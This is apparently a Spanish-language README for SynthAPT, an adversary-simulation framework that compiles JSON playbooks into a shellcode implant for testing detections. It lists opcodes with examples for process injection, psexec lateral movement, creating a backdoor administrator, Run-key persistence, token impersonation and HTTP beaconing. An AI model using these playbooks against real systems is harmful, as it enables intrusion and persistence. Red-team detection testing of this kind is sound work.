SynthAPT

Resumen

SynthAPT es un marco de simulación de adversarios basado en playbooks para replicar rutas de ataque complejas. Está diseñado para validar detecciones avanzadas y agentes de investigación basados en IA. La idea central es que el comportamiento del malware puede expresarse en JSON y compilarse en malware funcional, permitiendo el desarrollo rápido de escenarios realistas utilizando LLMs.

El implante central es una carga útil de shellcode controlada por un intérprete de playbook. Un playbook predefine toda la ruta de ataque y el implante la sigue, moviéndose por el entorno mediante inyección de procesos, movimiento lateral, etc. Cada implante se genera como un hilo independiente con su propio conjunto de instrucciones, por lo que los ataques de múltiples etapas (por ejemplo, acceso inicial → escalada de privilegios → movimiento lateral → exfiltración) se expresan como un gráfico de implantes cooperantes, todos definidos de antemano en el playbook. Esto tiene tres ventajas principales:

Las cargas útiles pueden imitar malware real sin infraestructura C2: toda la ruta de ataque está incrustada en la carga útil y las interacciones C2 pueden simularse
Las cargas útiles son repetibles: ejecutan toda la ruta de ataque de manera idéntica cada vez, lo que las hace adecuadas para pruebas de regresión de detecciones
Los LLMs pueden traducir informes de inteligencia de amenazas y blogs directamente en cargas útiles funcionales, sin requerir experiencia ofensiva ni construir malware desde cero

Campo	Tipo
task	u8	opcional
magic	u32 cadena hexadecimal o número	opcional
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }

Campo	Tipo
command	string	requerido
{ "op": "run_command", "command": "whoami /all" }

Campo	Tipo
path	string	obligatorio
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }

Campo	Tipo
var	u16	requerido
{ "op": "check_error", "var": 0 }

Campo	Tipo
var	u16	requerido
data	bytes	opcional (vacío si se omite)

Field	Type
image	string	requerido
task_id	u8	requerido
pipe_name	string	opcional (pipe con nombre para captura de salida, sin el prefijo `\\.\pipe\`)
search	string	opcional (nombre de proceso/línea de comandos para falsificar PPID de)
no_kill	bool	opcional (predeterminado: false — el proceso se elimina después de la inyección)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }

Campo	Tipo
port	u16	requerido
magic_base	cadena hex u32 o número	opcional
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }

Field	Type
target	string	requerido (nombre de host o IP)
service_name	string	requerido
display_name	string	requerido
binary_path	string	requerido (ruta en el host remoto)
service_bin	bytes	requerido (datos binarios a escribir)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }

Field	Type
bof_data	bytes	requerido
entry	string	opcional (predeterminado: `"go"`)
inputs	bytes	opcional (argumentos BOF, vacío si se omite)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }

Campo	Tipo
dn	string	requerido
attr	string	requerido
value	string	requerido
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }

Campo	Tipo
targets	string	obligatorio (IPs separadas por comas, CIDRs, rangos o nombres de host; alias: `host`)
ports	string	obligatorio (puertos separados por comas o rangos, p.ej. `"22,80,443,8000-8100"`)
{ "op": "portscan", "targets": "10.0.0.0/24", "ports": "22,80,443,445,3389" }
{ "op": "portscan", "targets": "192.168.1.1-192.168.1.50,dc01.corp.local", "ports": "80,8000-8100" }

Field	Type
grupo	string	requerido
nombre de usuario	string	requerido
servidor	string	opcional (vacío = máquina local)
{ "op": "add_user_to_localgroup", "group": "Administrators", "username": "backdoor" }
{ "op": "add_user_to_localgroup", "server": "ws01", "group": "Remote Desktop Users", "username": "CORP\attacker" }

Campo	Tipo
username	string	requerido
server	string	opcional (vacío = máquina local)

Campo	Tipo
group	string	requerido
username	string	requerido
server	string	opcional (vacío = DC local)
{ "op": "remove_user_from_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

Campo	Tipo
key	string	requerido (ruta completa, ej. `"HKLM\\SOFTWARE\\MyApp"`)
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }

Campo	Tipo
key	string	requerido
value_name	string	requerido (cadena vacía para el valor por defecto)
value	bytes	requerido
value_type	string	opcional (por defecto: `"REG_SZ"`; también: `REG_DWORD`, `REG_BINARY`, `REG_EXPAND_SZ`, `REG_MULTI_SZ`, `REG_QWORD`)
{ "op": "reg_set_value", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "value_name": "Updater", "value": "C:\Windows\Temp\payload.exe" }
{ "op": "reg_set_value", "key": "HKLM\SOFTWARE\MyApp", "value_name": "Count", "value_type": "REG_DWORD", "value": { "hex": "05000000" } }

Field	Type
username	string	obligatorio
password	string	obligatorio
domain	string	opcional (vacío = grupo de trabajo o formato UPN)
logon_type	u8	opcional (predeterminado: `9`; `2` = interactivo, `3` = red)
{ "op": "make_token", "domain": "corp", "username": "bob", "password": "Password1" }
{ "op": "make_token", "username": "[email protected]", "password": "Password1" }
{ "op": "make_token", "domain": ".", "username": "localadmin", "password": "Password1", "logon_type": 2 }

Campo	Tipo
hook_id	i32	opcional (ID del hook devuelto por `frida_hook`)
name	string	opcional (nombre del hook establecido con el campo `name` de `frida_hook`)
{ "op": "frida_unhook" }
{ "op": "frida_unhook", "hook_id": 1 }
{ "op": "frida_unhook", "name": "my_hook" }

Field	Type
host	string	opcional
port	u16	opcional (por defecto: `80`)
interval	u32	opcional (intervalo de sondeo en ms; por defecto: `5000`)
secure	bool	opcional (por defecto: `false`)
agent_id	string	opcional (identificador enviado en las peticiones de beacon)
{ "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true }

Campo	Tipo
privilege	string	requerido (alias: `priv_name`)
search	string	opcional (vacío = proceso actual)
{ "op": "enable_privilege", "privilege": "SeDebugPrivilege" }
{ "op": "enable_privilege", "search": "lsass", "privilege": "SeTcbPrivilege" }

Campo	Tipo
task_id	u8	requerido
export_name	string	opcional (por defecto: `"Run"`)
{ "op": "generate_dll", "task_id": 2 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\temp\payload.dll", "content": "$0" }

Campo	Tipo
service_name	string	requerido (alias: `name`)
{ "op": "register_service", "service_name": "MySvc" }

Field	Type
pid	u32 or `"all"`	opcional (omitir = proceso actual; `"all"` = cada proceso accesible)
{ "op": "dll_list" }
{ "op": "dll_list", "pid": 1234 }
{ "op": "dll_list", "pid": "all" }

Campo	Tipo
pid	u32 o `"all"`	opcional (omitir = proceso actual; `"all"` = cada proceso accesible)
{ "op": "malfind" }
{ "op": "malfind", "pid": 1234 }
{ "op": "malfind", "pid": "all" }

SynthAPT

Más Populares

SynthAPT

Resumen

Características

Compilación desde el código fuente

Uso

Referencia de Opcodes

get_shellcode (0x02)

run_command (0x04)

read_file (0x06)

check_error (0x08)

set_var (0x0A)

goto (0x0C)

list_procs (0x0E)

wmi_exec (0x10)

sacrificial (0x12)

shellcode_server (0x14)

psexec (0x16)

run_bof (0x18)

set_ad_attr_str (0x1A)

portscan (0x1C)

add_user_to_localgroup (0x1E)

get_user_sid (0x20)

remove_user_from_group (0x22)

reg_create_key (0x24)

reg_set_value (0x26)

make_token (0x28)

enable_privilege (0x2A)

list_thread_privs (0x2C)

revert_to_self (0x2E)

delete_service (0x30)

generate_dll (0x32)

shell_extract (0x34)

load_library (0x36)

hollow (0x38)

register_service (0x3A)

hollow_apc (0x3C)

frida_unhook (0x40)

http_beacon (0x43)

dll_list (0x45)

malfind (0x47)

Detección

Atribución